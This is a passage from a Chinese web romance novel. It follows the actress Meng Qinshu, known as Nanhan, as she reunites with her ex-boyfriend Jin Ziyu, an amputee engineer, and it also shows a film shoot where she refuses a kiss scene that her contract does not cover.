《还敢喜欢我吗[破镜重圆]》
1. 南寒
绵绵秋雨下了一周。
到了T大校庆这天,天气莫名放晴,一辆白色保姆车往马路牙子一停,车门向左划开,车上下来一个穿红色波点束腰长裙的女人。
女人留一头九十年代港风中分爆炸头,脸上戴一副夸张的大边框太阳镜,身段纤薄高挑,冷白皮在骄阳下白到发光,如同一块上乘光泽度极好的绸缎,她无需过多修饰,随心所欲的一站都是光耀夺目的。
路人频频侧目,目中皆是难掩惊艳。
“南寒姐。”
车里的小助理扒着车门两边,探出头叫她,已步出几步的女人扭头,视线穿透太阳镜镜片落在小助理脸上。
“校门在后面。”小助理提醒。
“我不进去,随便走走。”说罢,女人回头继续往斑马线方向走。
人潮涌动,都是走往同一个方向,热热闹闹地进校门,只有南寒姐独树一帜,背道而驰。
话说,南寒姐出发前说是来看看母校,怎么来都来了,却不进去,难道是怕遇到狂热粉丝?
小助理闭合半张的嘴,她跟了南寒姐近四个年头,虽说南寒姐特立独行的事迹不少,但每出一桩总是能让人旁吃惊到咂舌。
经纪人芳姐总说,南寒姐是天生的巨星命,出道即巅峰,即使马上快六年,她仍是圈内所公认的演技与流量共存的九零后大花。
华星影视大小艺人一共有二百多名,只有南寒姐称得上是‘团宠’,连老总傅声对待她都是轻声细语的,所以她有这个资本随性而为。
常有传闻南寒姐背后的靠山是扬正集团太子爷霍清辞,但众所周知这位霍少是有家室的,这段传闻对南寒姐属实不利,却因为对方是扬正集团太子爷,正儿八经的娱乐新闻,不敢书写报道,除非不想在这个圈子混。
她有幸远远的见过那位霍少几次,那样貌身形条件,靠脸吃饭的看了都要自忏形秽,关键人家不止有突出的外表,还有顶级的家世,那种自幼熏陶出来的贵气,真没几个人能及得上。
但据她观察发现,南寒姐并不喜欢这位霍少,南寒姐有一只旧手机,里面有另外一个男人的照片,很多张。
她不是故意看得,是年初零下七八度的日子,南寒姐跳进室外泳池找她这只旧手机,结果发现是乌龙。却也因此,当晚得了重感冒发起高烧,而她留在酒店陪了南寒姐一晚,故而窥见了手机中的秘密。
当时,南寒姐烧的迷迷糊糊,嘟囔着让她帮拿手机,她拿了手机交到她手里,南寒姐翻看里面的照片,不知道怎么回事,突然哭起来,能看出南寒姐是极力在克制,以至于整个身体在颤抖。
可忽然,南寒姐歪倒在床上,手机跟着从她手心里滑落到地毯上。
再确认南寒姐只是情绪激动累倒了后,她捡起手机,屏幕没有熄灭,照片赫然于眼前,是一个特别干净俊逸的男人,那五官精致度完全不输霍清辞,但这两人是两种风格。
照片是白天拍的,背景像是在国外哪条街,后面的招牌都是英文,只是这男人架着一副双拐……他没有右腿,不,准确的说他的右腿所剩不多,是个残疾人。
南寒姐眼光这么高的人怎么可能喜欢一个残疾人,可能是哥哥、弟弟或是朋友,她暗暗想。
结果拇指不小心一划,看到另外一张照片,这张照片是两人同框,南寒姐一个吻落在男生的左脸颊上,两人一起看镜头,男人明眸灿烂堪比皓月,只是背景被两颗脑袋完全占据,看不出在哪里拍的,但从拍摄角度看,是南寒姐左手举着手机。
那时的她不像现在的冷艳,看上去对任何事物都了无生趣,里面的她青春有活力,满眼的爱意藏都藏不住。
床上的南寒姐呓语一声,她吓得摁灭手机,跟个烫手山芋似的给她放在枕头边。
南寒姐这么宝贝这只手机,是因为里面的照片,她哭是因为照片里的人,所以这个男人真的是南寒姐喜欢的人。
作为艺人助理,谨遵工作守则,她知道什么该问什么不该问,更懂得什么该说什么不该说,她会死守这个秘密。
对了,南寒姐真名叫—孟秦书。
南寒是她的艺名,是傅总给她取得,这些年她的的确确是人如其名。
冷若冰霜。
*
‘韩叔叔石锅拌饭’
孟秦书站在店门口,仰望头顶店铺招牌。
没想到时隔七年,这家店仍然开着,生意一如当年红火,她望进去,店面呈长方形,两边各放置六张可坐四人的小桌,中间一条窄细半米宽的过道,每张桌子留出的空间不多,前后的食客只能背贴背,虽说装修布置都和当年没有两样,但应该是翻新过了。
这世上果然没有一成不变的东西。
孟秦书只是路过,没打算进去,可滑走的视线中忽出现一个熟悉的身影,她脚步一停,视线快速回到那个让她心有异感的男人身上。
男人一定有一米九出头,只因他的上半身高过店内所有食客,他穿着一件深灰色休闲西装,肩线不宽不窄恰到好处,脖颈白皙,他埋头吃得正香。
她记得他后脖项发之下有一颗黑色的小痣。
想到此处,孟秦书唇瓣浅浅一弯。
店门口的女服务员循着她的视线看过去,看到男人对面有一个空座,见她是一人,下巴指那儿对她说:“美女,如果你不介意拼桌,可以先进去坐那个位置。”
滑落到腕骨的链条包,眼看就要掉到地上,孟秦书一抬手,链条包回落到肘弯处。
“好。”孟秦书往里走,她这身打扮和妆容想不被关注都难。
这里都是学生党,已有人掩住唇,交头接耳地讨论她。
包往桌上一放,孟秦书中指推太阳镜镜托,嗓音轻柔带点询问的口气,尽显礼貌,“先生,这里没人吧?”
话音刚落,埋头吃饭的男人,骤然抬起眼眸,没来得及表情管理的他一脸惊讶,她亦是惊诧不已,张口结舌半天,终于憋出一句磕磕绊绊的话,“你....你是……靳子煜好久不见啊。”
七年了,她这些年活跃在电视剧和大荧幕上,对靳子煜来说她应该算不上好久不见。
而靳子煜与她而言,是真真正正忘却了这么多年,她连他现在在干什么,在哪里、哪个城市工作,都不知道。
她的出现看来让他很不高兴,靳子煜脸孔倏然冷漠下来,没接她的话而是放下勺子,抽出一张纸巾,擦了擦嘴唇。
也不难怪她曾经伤他这么
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深,不要说七年,七十年都对她恨之入骨,但凡换个脸皮薄的,已经捂脸跑了,但她孟秦书这些年其他没长进,脸皮厚了不少。
只是她将将落座,吵嚷沸腾的环境里突然爆出一个女生尖锐兴奋的叫声。
“南寒!南寒!”
这个声音仿佛地雷,一颗爆炸,而后起了连锁反应。
越来越多的人喊出她的名字。
“啊—是南寒!”
孟秦书对上靳子煜墨沉沉的眼眸,他根根分明的眼睫下,风平浪静,她回看猝然起身的粉丝们,在她们奔过来前,孟秦书拔腿冲开进来的食客,不顾一切地往外跑。
*
孟秦书躲在店背后延伸出的雨棚下,约莫过了十分钟,她算算时间差不多了,按着来时的路,款步往回走。
她孟秦书在T大的名声并不好,四五百公里回来,到了校门口连门都不敢进去,里面没人欢迎她,同样她也没有惦念一定要看看的人,或是今天来这一遭就是个错误。
风徐徐地吹,带来几片金黄的银杏树叶,树叶自孟秦书眼前打着旋往下坠,孟秦书脚下猛地一个急刹,望天再望地,后知后觉地发现,她脑子短路的走了相反的方向。
虽仍是在商区内,但这里是商区西面露天停车场,停车场不大,每隔一段距离栽种一颗银杏树,整个面积不过二三百平,只容纳不到一百个车位。
“南寒!!”
正准备转身的她又听见熟悉的叠声尖叫。
隔老远她看到了两支队伍,每支队伍恐有一百多人,一支队伍先发现她,另支队伍跟着也看到了她,她们向她跑过来,边跑边喊。
“南寒!”
“南寒!”
明星被喜爱被追捧是好事,但她一个人抵挡不住她们的热情,不躲开,她恐怕今天都别想走出这里。
孟秦书猫腰在车辆之间穿来穿去,耳边仍是不息的“南寒”,这是很多同行求之不得的,忽然间孟秦书升出厌烦的情绪,她当明星的初衷是为了赚钱还钱,五年半的明星生涯,她早已还清了欠债,之所以还待在这个圈子里……
的的确确,富贵迷人眼、受千万人追捧,风光无限,也不是没有成就感,偶尔得个奖,粉丝高兴她自己也高兴,谁会舍得离开。
跑路都在晃神的孟秦书,一个没注意,跑到了主路上,还差点撞到迎面而来的一辆汽车。
这是一辆深蓝色保时捷,在日光下反射出刺眼的蓝光,车头距离她不到半米,孟秦书望进前挡风玻璃,驾驶位的靳子煜在解安全带想必是下来看她受伤没有。
背后那一大片乱哄哄的声音又传过来,孟秦书急中生智,火速走向副驾驶,赶在靳子煜下车前,拉开副驾驶的门,轻车熟路的坐了进去。
落地的左脚重新抬进车厢,随后关上车门,靳子煜转动脸难以置信地看向好整以暇端坐副驾驶的孟秦书,想说些什么,可话在喉咙里卡了壳。
孟秦书只关注于窗外,当看到那帮人冒出的脑袋,她蓦地低下头,转而又觉得不太行,没系安全带的她,也不管旁边这人同不同意,愿不愿意,直接侧躺下,脑袋枕在靳子煜双腿上。
先过了这关再说,之后要杀要剐靳子煜说了算!
2. 书书
车内静谧到仿佛空气凝结。
孟秦书听到极其低微的电子产品所属的电流声,来自靳子煜的右腿,那里硬邦邦的,硌得她的左胳膊不舒服。
车外声势浩大的声音渐行渐远,孟秦书慢慢挺起身,她庆幸自己戴着太阳镜,即使是掩耳盗铃也好过被旁边这位看到自己因慌乱而无处安放的目光。
还是先跑为妙。
孟秦书按了两下车内把手,没打开车门,应该是车辆自动落锁了。
“滴滴滴——”后车疯狂鸣笛催促。
靳子煜双手握住方向盘,左脚给油,带着她驶出停车场。
开了一段路,在一处能短时间停靠的内车道,靳子煜把车靠边停下来。
双闪灯持续不断跳着,孟秦书解开安全带,手指刚握住车内把手,却听见靳子煜清清冷冷发声:“我不过是个脱了拐杖站都站不住的残废,我能对你做什么,你在怕什么?”
孟秦书握紧把手,她依稀记得最后一次见面,她说那句话是,“我不要一个未来有可能只能坐在轮椅上,不依靠拐杖站都站不起来的男朋友,靳子煜我后悔了,我受够了。”
当时她并没有说‘残废’两个字,是靳子煜自己理解成这样的,不过细细品确实也有这个意思。
孟秦书收手放在自己腿上,手指无意识地一收一放,偏转头正视靳子煜,他脸色如常,只有两处眼尾有微微泛红,他情绪一上来,就会这样。
那些伤人的话毕竟过去了这么多年,恨归恨,但总归不至于一次次自伤。
一些话到口,孟秦书不指该如何阐述,她转开目光,随便找一处安置。
可忽然,靳子煜骨节分明的右手朝她伸过来,孟秦书屏息凝神,挺腰吸肚子,十指交握到一起。
如果他真的要对自己做什么,她该怎么做?
扇他一巴掌,再骂一声流氓?
心跳加速,让她的呼吸变得急促起来。
正当孟秦书胡思乱想之际,靳子煜这只手从她身前过去,拉开她正对面副驾驶的储物箱,里面躺着的那只黑色链条包跟她的那只一模一样。
一模一样。
摊开两只手,孟秦书手心里空空如也。
不不是,这分明是她的包,怎么……
她想起来了,她只顾跑路忘记把包一块带走了,所以靳子煜捡到了她的包。
谢字还没出口,靳子煜手握包身,将包丢在她腿上,“你的包落在桌上了。”旋即关上储物盒。
十指紧扣住包身,孟秦书由衷感谢,“靳子煜,谢谢。”
“啪嗒”车门解锁声,听见这声,孟秦书不知为何心里会生出靳子煜赶她走的失落。
不止是失落还有感伤,这次久违的相逢,下次又会是多少年后。
一辆辆汽车自旁边车道闪过,孟秦书恍若看到很多年前,靳子煜开着他新买的车,带着副驾驶上的她,绕了半座城市。
眼底温热,孟秦书眨眨眼睛,眨去泪意。
整整七年她没想过去找他,这次分开后她亦如是。
不见定可以不念。
可就在孟秦书这只手即将触摸到门把手时,靳子煜再度出声。
“我回海城,你朋友在哪里?我送你过去。”声音沉磁湿润。
前后没有关联的话,却是给孟秦书找到了留在车上的理由,孟秦书往后一靠,靠在座椅背上,偏头认真注视靳子煜的侧脸,红唇弯出好看的弧度,“我也回海城,搭你车方便吗?”
那就再多走一段时间吧。
清减后精致淡冷的轮廓,立体的五官,突出优越的眉骨,七年时间让青春阳光的男生变成了成熟稳重的男人,他一如当年清隽温润,只是内敛中多了一两分深沉。
在孟秦书注视下靳子煜悠悠转脸,他炯亮笔直的目光穿透她的镜片,直刺她的眼底深处。
和当年那个清冷的小姑娘不同的是现年二十九岁的孟秦书多了分艳丽,都说明星本人比电视上好看,属实不假,如果说曾经的孟秦书是温室里养出的孤傲带刺的白玫瑰,现在的孟秦书更像野蛮生存带几分野性的秋英。
*
高速路上车辆稀少,不像城市道路走走停停,靳子煜开车比较保守,限速一百二他最多只开到一百二。
靳子煜双手扶方向盘,目不斜视地问她,“不看看包里有没有少东西?”
孟秦书经他一提醒,想到需要给助理发条信息,她打开包拿出常用的手机,屏幕亮起看到了现在的时间。
14:20
距离她下车,已有二个小时,小助理竟没给她打一通电话。
孟秦书编辑一段文字发过去。
【小杨我搭朋友车回海城,你让司机开回来。】
小杨很快回复。
小杨【南寒姐,我知道了】
孟秦书正要挂电话,手机铃声响起,只不过不是她的而是靳子煜的。
靳子煜点了车载屏幕上的接听键。
“靳教授,书书在外面玩时被野狗咬伤了腿。”那电话那头是一个上了点年纪的女人声音。
车载蓝牙音响,环绕声,孟秦书放下自己的手机竖起耳朵听。
靳子煜眼不离正前方,嗓音倏然发紧,“要紧吗?送医院去了吗?”
“腿上流血不多,先生我正在送她去医院的路上。”
靳子煜松了口气,“静姐,我现在在高速上开车,到了医院第一时间给我发信息。”
“好的。”那边挂断了电话。
孟秦书听完只觉得这个苏苏非同一般,有个想法冒出头,她不加思索张口就问,“你有孩子了?”
靳子煜回看她一眼,孟秦书觉得靳子煜那眼神就好像是在怀疑她是不是有病。
是啊,他有没有孩子关她什么事。
但孟秦书压不住心里那股探求真相的欲/望。
“男孩还是女孩?”
或许是因为她的问题实在搞笑,靳子煜忽就笑了,这是他今天第一次在她面前笑,眼眉微翘,笑容自唇畔漾开,乍一看与当年无异,细看笑意未达眼底,偏偏孟秦书勘探到了这一细节。
“女孩。”他淡声回。
手指死抠着包,孟秦书撕下一块皮,她把这块皮捻入手心,她似有意又似无意地问:“像你吗?”
靳子煜嘴角抽抽,一段冗长的沉默,给了孟秦书冷静的时间,理智回笼后她当即懊悔自己的胡言乱语,想为自己解释下,“都说女儿像爸爸,我想她一定很像你,她几岁了?”
窗外偏西斜落的太阳,灿烈的光线洒再两人身上,一个周身泛着冷气,一个模糊的五官都看不真切。
靳子煜超过一辆大货车,回到中间车道后回答她这个问题,“四岁九个月。”
四岁九个月。
记得真清楚,就冲家里保姆孩子一有事就打电话给他,显而易见的,靳子煜不但是个好丈夫,还是个好爸爸。
孟秦书抱着双臂平视窗外不断从旁边车道超越他们的小车,她抿直唇,忽体会到人生的真谛。
人生就像行车,上了高速后只能一往直前,即使路途中有服务区,停下来也不过稍作休息,更何况交通部门有明文规定,车辆在高速公路上停留不能超过二十四小时,必须驱车前往该去的地方。
百万级别的车,车窗密封性、隔音效果高,即使高速行驶车内也听不到任何来自外面的风噪。
她起头的静默由她打破。
“苏苏是她的小名?”
他嗯声。
虽说取什么名字是人家的自由,但给自己女儿取个和前女友同音的字,真的好吗?
“书本的书。”
孟秦书正在揣度靳子煜的用意,他却淡淡然地掷出这句话。
书书?
所以这是在纪念他那死去的爱情吗?
不——这不是纪念这是记恨。
孟秦书只觉背脊发凉,这还是她认识的那个待人真诚、温柔善良的靳子煜吗?
以及这对他的妻女公平吗?她敢打赌他妻子一定不知道后头的含义。
换位思考,如果她是那个女人,哪天被她知道女儿的名字是丈夫为了纪念曾经那段‘该死’的爱情,那离婚都是轻的,非得把他扒皮拆骨不成。
不行,不能让靳子煜一条道走到黑。
“那个.....书书不觉得有点不那么好听吗?”她婉转地说出自己一点点看法,靳子煜狐疑地掠她一眼,继续把着方向盘,孟秦书咽了口唾沫,慢声说:“书书,不仔细分辨还以为是输赢的输,会不会像输输输,这寓意似乎不大——”
还没说完,靳子煜朝她递出一个冰冷的眼神,孟秦书噎了噎,仗着他开车不能拿她怎么办,她声音拔高一个度,索性挑明了讲,“靳子煜你即使记恨我,也不用拿自己小孩的名字来开玩笑,小孩子还小现在不懂,等她长大后万一知道自己名字中间一个字和他爸爸的前女友名字一样,你有想过将来对孩子的影响会有多大,还有你的妻子,她这么爱你,你忍心看到她知道真相后的伤心欲绝吗?”
靳子煜缓缓朝她看过来,看待她好像是看待未知星球来的未知物种。
“所以称她还小,早点改——”
突然,车猛地往右一摆,是靳子煜发现车子往左偏出大半个车身,差点撞上左边隔离对向车道的隔离石,还好他反应快往右打转方向盘,把车拉回来,车速一百二的情况下,这样一个急速甩身,吓破了孟秦书的胆。
有种人在前面飞,魂在后面追的感觉。
孟秦书不敢在多说一句,她已经影响靳子煜驾驶安全了。
两人都吓得不清,靳子煜找了个最近的服务区,停车休息。
靳子煜先下车,孟秦书看他拄着手杖往商店方向走。
这是孟秦书多年后第一次看到靳子煜穿戴上假肢走路的姿势,他截肢的位置很高,右腿大腿根保留不到二十公分。
以前他说过他没有膝盖戴上假肢走路反而不方便,行走姿势外八,步态丑陋不说,走起路来还没有他架拐利落,就像拖着一件起不到任何作用还累赘的重物。
而今他戴的这副假肢走动时,比想象中好,身板笔直挺拔,只是出腿速度稍迟缓。
孟秦书刚听见的电流声,还有那硬邦邦的触感,让她想到了机器人,曾经有一段时间她研究过假肢,知道有一种智能假肢,她一查价格瞠目结舌,最便宜的都要一百万起。
有次被靳子煜发现了,他站在她身后,揉揉她的头说:“现在市面上的产品我们有拿来分析过,各有各的优势,各有各的弊端,总结起来,弊端多过于优点,还不够成熟。等以后我自己研制一款,将来出去逛街我们就能手拉手走,说不定我还能背你,小书不会很久的相信我。”
孟秦书下车后站在车尾花坛旁的立式吸烟柱旁抽烟,一支烟快吸尽时,她看到了往回走的靳子煜,他左手横握住两瓶矿泉水,左右腿配合得当,尽管步态微瑕,但现在的他比当年更赏心悦目,一个稳重得体、魅力四射的成熟男人,这是翩然而过的时光赋予的。
孟秦书墨镜下的双眼,一瞬不瞬地盯着他。
却没想到已到主驾驶门前的靳子煜因看到她而倏然止步。
在靳子煜的逼视下,孟秦书垂下夹烟蒂的这只手。
黄昏时分,绛色彩霞披在孟秦书身上,轻风萦绕,拂乱的发丝轻拍在她脸上,红唇、红裙、风情万种,是旁人一眼惊艳的模样,而靳子煜的目光却在对视中一寸寸晕染成墨色。
*
当天夜晚,孟秦书睡到一半突然惊坐起。
孟秦书双手插入发缝中,往后仰头,盯着黑漆漆的天花板。
出道就能凭借出演的第一部电影,拿到主流奖的她,把平生最拙劣的演技献给了靳子煜。
“你....你是……靳子煜好久不
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见啊。”
她和靳子煜七年没见,又不是七十年没见。
靳子煜怕不是认为她脑子有病。
孟秦书伸手打开墙上的灯,灯亮起,她闭眼适应了几秒,拿起床头柜上的手机。
有一通未接电话,是霍清辞给他打来的,时间是晚上十一点整,今天她太累了,比平时睡得早,难怪她迷迷糊糊中听到电话响铃,还以为是梦。
孟秦书背靠床,给霍清辞回拨过去。
不知他在做什么,十多秒后才接。
霍清辞单手一撑病床,靠坐起来,他望头顶的输液袋不知什么时候撤走的。
“小书。”
时差关系,霍清辞这边是下午两点,他打那通电话是上午十二点,就是算准孟秦书忙完一切,又没入睡前,只是今天挺意外,孟秦书竟睡得这么早。
“哥,你感冒了吗?鼻音怎么这么重?”
霍清辞揉揉额头,“这边这两天降温,昼夜温差大,感冒了。”说话间他看到门口,推着大号行李箱,拐进病房的唐蔓。
孟秦书问:“是有什么事吗?”
“今天校庆去参加了?”霍清辞目光追着唐蔓走,唐蔓进来先把行李箱靠在病床对面的墙上。
“只在校门外逛逛。”
“没见到他?”
孟秦书那边没了声音。
霍清辞从床上放下双腿,穿上地上的拖鞋,他来这里只是按时来输液,身上也是平常穿的衣服,输完液就会回去。
孟秦书想了想还是决定说:“哥,我见到他了。”
唐蔓走到霍清辞面前,眼睛里带着熬夜熬出来的红,坐到他身旁,霍清辞偏头用唇语说:“你跑来做什么?”忘了回孟秦书的话。
“哥,他结婚了。”
这几年,孟秦书事无巨细,样样都和霍清辞说,除了靳子煜,她不想谈,他也就不问。
但这次不一样,孟秦书和他说要去参加校庆,他就料想到这次会和靳子煜有关。
七年了,她熬不住了。
“结婚?”霍清辞迟疑,“他和你说的?”
今年上半年他还从合作伙伴那里听说靳子煜单身,霍清辞很难想象靳子煜这个一板一眼的人会骗小书,“小书,我后天回去,等我回去我给你打听看看。”
“不用了,哥,你不用管。”孟秦书又说,“不打扰你工作了,你忙。”
孟秦书那边先挂断电话,霍清辞握住手机,眉头不自觉的蹙起,唐蔓知道他又在为这个妹妹操心了,她一言不发坐等霍清辞思考完。
霍清辞左手手背不注意碰到了唐蔓细嫩的手背皮肤,他一恍然,再次转头看这个女人,“你来做什么?”
唐蔓巧笑嫣然,“阿辞,你回回问同一句话,有意思吗?”
这些年,霍清辞全世界各地跑,她就跟着全世界各地跑,说她没脸没皮也好,反正她跟定他了。
只是问习惯了,霍清辞无语起身,他捞起沙发上的大衣,走至门口换上来时的皮鞋。
唐蔓一瘸一拐地跟上来。
霍清辞转身,皱皱眉,“脚怎么了?”
唐蔓撇嘴,“在候机室踢到柜脚了。”
“真有你的,三十好几的人了,跟小孩子一样。”
说归说,霍清辞穿上大衣,一手扶住唐蔓背,一手勾住她腿弯,把她打横抱起来。
唐蔓心里被甜蜜充盈,但她更担心霍清辞的身体吃不消,“阿辞,你放我下来,你这样会受伤的。”
“你才多少斤?”
唐蔓一米六不到,在近一米九的霍清辞面前,真的和小鸡仔似得,“抓稳,摔下去我不负责。”
唐蔓赶忙举手挂住他的脖子,脑袋埋在霍清辞胸膛上,小小声说:“还是放我下来吧。”
两人出了门,外面的白人男佣看到他们,走进屋里,推着唐蔓的行李箱出来。
霍清辞昂首挺胸,阔步向前走,唐蔓脚上的高跟鞋掉了一只,男佣弯身捡起来,没走出多远又掉了一只,男佣一手抱着两只高跟鞋,一手推行李箱跟紧他们。
*
第二天午后。
靳子煜坐在别墅露台大伞底下逗狗玩。
“书书,过来。”
他拿了圆桌上的宠物零食,在院子里玩球的白色巨贵听到塑料袋声音,冲他奔过来,但巨贵很通人性,知道他腿不好没大力冲撞他,而是刹住四只脚,轻轻抬起两只前脚放在他的腿上。
靳子煜取出一根零食骨头放进书书嘴里,书书像人一样用把两只脚当手抱着骨头啃。
“书书,我们以后叫赢赢,好不好?”靳子煜摸一把书书柔软的毛发。
书书只顾吃不理他。
输输输,孟秦书说含义不好。
那就赢赢赢。
想到这里,他嘴角挑起连自己都没发现的笑弧。
圆桌上那只有些年份的水果手机屏幕亮着,这只手机是他买给孟秦书的,当年的最新款,他一次买了两只,作为两人的情侣手机。
昨天他把孟秦书的包提到车里,塞进储物柜时,这只手机从包里掉出来,看到这件古老的东西,他怔忡恍惚,似乎看到了很多年前的画面。
她当时很喜欢他给的这个惊喜,蹲在他面前,抱住他脖子给了他一个深深的吻。
他一时脑袋犯浑,拿走了这只手机,他犯了罪,盗窃罪。
一阵猛烈的南风,吹开洁白如雪的云层,高悬在半空的太阳,洒下光芒万丈。
靳子煜抬头眯眼望天穹上这一大片悄无声息转移的云层,它正在离太阳越来越远。
伸出手,张开纤长素白的五指,让阳光自指缝间溜进来,孟秦书闭眼感受淡淡的温热
她住十楼大平层,整幅落地窗,脚下是车水马龙的城市街道,头顶是蓝天白云。
“拨云见日。”
孟秦书脑子里无端蹦出这个成语。
3. 演技
与世断绝近一个月,以90年代为背景的文艺片《那年冬》今天迎来最后一场杀青戏。
《那年冬》讲诉了自带家族遗传精神疾病的舞蹈演员苏洛与患有渐冻症的富家公子任俞之间悲壮动人的爱情故事。
该片从筹备到开拍到今天的杀青,一共耗时八年,辗转了多地,由国内顶级名导凌天执导拍摄。
这位凌导在电影圈地位非常高,他的作品自成一派、有高度的艺术性,受众群体可能不那么广泛,但十年磨一剑、精益求精精神让他每出一部电影基本横扫两年内,国内国际所有奖项。
孟秦书是凌导最先敲定的演员,用这位导演的话说,这是一个令人充满惊喜的演员,她有一双饱含故事感的眼睛,天生一张文艺片女演员脸。
这不是第一位导演这么说,孟秦书初入行的那部电影,让她一跃成为大众熟悉的最年轻影后,一样是一部文艺片。
靠文艺片出名后为了赚更多钱,孟秦书转战进了电视剧圈,第一部校园剧,算是踩着时代的红利,让她一夜爆火,拥有一大批死忠粉,即使后来陆陆续续接了不少烂制作,但靠着这部剧和影后头衔仍让她稳坐九零后大花首位。
但马上六年了,虽说她有几份养老保险,但在新人如雨后春笋冒出头,其中不乏科班出身、演技精湛的新鲜血液,演艺圈就像逆水行舟,不进则退,孟秦书不急,可她的经纪人芳姐坐不住了。
两年前,一个早晨,芳姐接到凌导的电话,在得知凌导只是再预览完她的第一部电影就对她有浓厚的兴趣时,芳姐虎躯一震当即把她带去面见这位大名鼎鼎的国际名导。
孟秦书是被芳姐连哄带骗赴的这场饭局,起初她只是想走个过场,在听到这位大导演对整个故事构想和想通过这个故事传达出的‘爱情的真谛、生命的意义以及个人的选择’时她被说动了。
孟秦书合上剧本,背靠露营椅,闭目养神,小助理在旁为她撑伞,黑色大伞挡住正上方的灿阳,投下深灰色阴影,孟秦书一呼一吸间是来自海风的咸湿气。
不远处副导演拍了拍手,招大家过去,准备开拍了。
影视剧中拍戏不按照剧情顺序拍摄,而是按照场景拍摄,术语叫顺景。
最后一个场景她有三场戏。
第一场是苏洛和即将到生命尽头的任俞在海边漫步,定下来生之约。
第二场是后赶到的任俞妹妹任菲在亲眼看到哥哥跳海而苏洛没有制止,任菲失声痛哭的同时把苏洛拽到海里,已生无可恋的苏洛任其把自己推入海中,紧要关头,是任俞的好友陈韦森救了她。
第三场只有苏洛一人,时间是三年后,苏洛回到了任俞跳海的海崖,身上穿的是三年前仍被任俞撕破的红色长裙,她踢掉鞋子在崖上跳了最后一支舞,对着天地谢幕,之后一跃而下。
该场景,四名演员已全部准备就绪。
碧海蓝天,海鸥擦过海面卷起的浪花,苏洛穿着任俞对她一眼钟情时穿的红裙子,裙摆飞扬,扬起的每一下都像是在和这个世界告别,迷人绝丽。
苏洛快走几步绕到任俞面前,仰起下巴,纤细的脖子恍若易断折的荷叶杆,她带着微笑,看着眼前这张苍白到近乎风一吹就会消失的面孔。
“任俞,我们能不能一直走,一直走,不要停。”
任俞只是笑笑,隐隐泪光在日光下闪烁,如同波光粼粼却不平静的海面,他用他尚能动的右手托起她的右手掌,埋下头在她手背吻了一下。
苏洛一样盈含泪水但忍着不让它留下来,她懂他,有尊严的死去,是他的愿望,那他们就来生健健康康的相见吧。
苏洛捧住他的脸,在他左脸颊留下一个吻。
接下去是任俞濒临死亡前迸出的压制不住情欲,欲念焚身的任俞全没平日里的斯文克制,粗鲁地撕开苏洛左肩领口,苏洛香肩半露,任由任俞从她的肩头到颈线、下颌最后到双唇。
马上距离演员最近的机位会给特写,悲情氛围感拉满,就是这味太对了!大监前的凌导比两位演员还要激动,放置在膝头的双手紧握成拳。
可突然—
孟秦书往后退一步,抹掉脸颊上男演员留下的口水,转身对在监视器前抬头的凌导说,“导演吻戏如果不是借位,我拍不下去。”
这位男演员演技非常牛与他每一场对手戏孟秦书都能快速被他带进角色之中,孟秦书知道他没有要占她便宜的意思,只是完成工作,她能接受的最大限度是到脸颊为止,这些都已写在合同里。
凌导最看中成片效果,而刚才的效果正是他所想要的,换个人会破坏了这种共生共存的外放情感,他尝试说服孟秦书,“南寒你有没有发现,你和阿彬两年对戏下来,戏中的你们一个眼神一个举动皆能体现出,可为对方生,可为对方生死的程度,这种感情正是观影人最想看到的,真正的演员是能做到区分戏内戏外,你和阿彬这方面做的非常好,南寒相信我,你是苏洛,你很爱很爱眼前这个男人,他是任俞,你们即将天人永隔。”
原本万里无云的天,一大片乌云快速拢聚到拍摄组头顶正上方,天色一下暗了好几个度,场务忙活起来,拍摄影视剧最宝贵的除了演员就是那些机器了,赶在雨落下来前,该盖起来的盖起来,该套防雨保护套的套起来。
嘈杂混乱的场景中,孟秦书清冷却有力量的声音掷下来,“导演一切按合同来。”不留余地地拒绝。
小杨上来给孟秦书打伞,孟秦书很高穿上高跟鞋接近一米八,小杨把手臂举到极限,跟小杨上来的还有化妆师,只是化妆师手指揪着化妆箱挂绳,这会在犹豫要不要上去补妆,眼瞅着要下雨,拍摄有可能会改期,而且导演那张比天色还暗的脸,显然不大可能再继续拍下去。
圈内谁不知道南寒背后的金主是跨国企业扬正集团太子爷霍清辞,霍家海城顶豪家族,虽不涉娱乐圈,但商业地位在那儿摆着,人脉奇广渗透各行各业,正是背靠如此一棵大树,南寒一出道就打出牌子,吻戏激情戏只用替身。
也不要怪南寒,那位太子爷的占有欲极强,即使自己有家室,也不允许他养的金丝雀做任何对不起他的事。
小小化妆师都想得明白的事,这位大导演怎么可能想不到,不过这位凌导是出了名的戏比天大,在加上他常年在国外工作生活以及国际知名度,大抵是不吃国内这套吧。
一高位一低位的对视中,凌导眼中的这位大明星,透亮的目光里是较真但绝对不是威胁的意思,南寒对他有敬重,只是自己的原则不容打破,
他看人一向独具慧眼,南寒一定是个有故事的人,她明澈的瞳眸里有坚韧和执拗,就像苏洛命运没有善待她,百折不屈的她仍在其中寻找到生活得乐趣和意义,本质上她是纯净乐观的。
所有机器都已保护到位,场务各归各位,等总导演下一步指示,另台监视器后的副导演起身,走到凌导身后,俯身在他耳边耳语,不知是说了什么,凌导眼睛回到屏幕前,脸色有所缓和对副导演说了一句话。
由副导演转达给大家,“继续拍不要停。”视线一转落在男灯光师后的的吻替脸上,“你上去代替南寒完成接下去的戏份。”
孟秦书回到椅子上,她拿起小茶几上的矿泉水喝了一口,放回去时,余光中四五米开外和她一样坐椅子上的施漾朝她翻了个白眼,孟秦书放下矿泉水,拿起桌上手机,指腹向下滑忽觉得太暗了,她头也未抬,对小杨说,“小杨,不用给我打伞。”
海边紫外线强,即使阴天一样如此,连男明星都是走到哪里伞就打到哪里,他们这些靠脸吃饭的明星,没有什么能比外表更重要的事,一年光在身体上的保养的费用至少百万起步。
南寒姐虽说天生冷白皮,但也不是说晒不黑,有时候南寒姐不用她撑伞,会自己撑,有时候直接不撑伞。
久而久之的相处中,小杨发现南寒姐不是表面那般不近人情,她表达感情的方式很淡,需要人慢慢去体会,也就是人们常说外冷内热。
小杨嗯声收伞往远处走,找了张距离南寒姐不远不近的椅子坐下来,方便南寒姐随时召唤她。
知三当三,还守起贞洁。
椰子树下的施漾回收轻视的目光接着看海,喉咙里冷哼一声,很轻,但被她身后撑伞的小助理听见了,以为是自己哪里做得不对,握伞柄的手抖了一下,连忙双手抱住,一动不敢动。
两年前凭借一部仙侠剧一炮而红的施漾和南寒所属一个公司,她微博的粉丝数和一姐南寒不相上下,只不过后者虽有烂片但至少演技不拉胯,并且有奖项加持,而施漾热度虽高,却因没有认可度高的主流奖,始终低南寒一头。
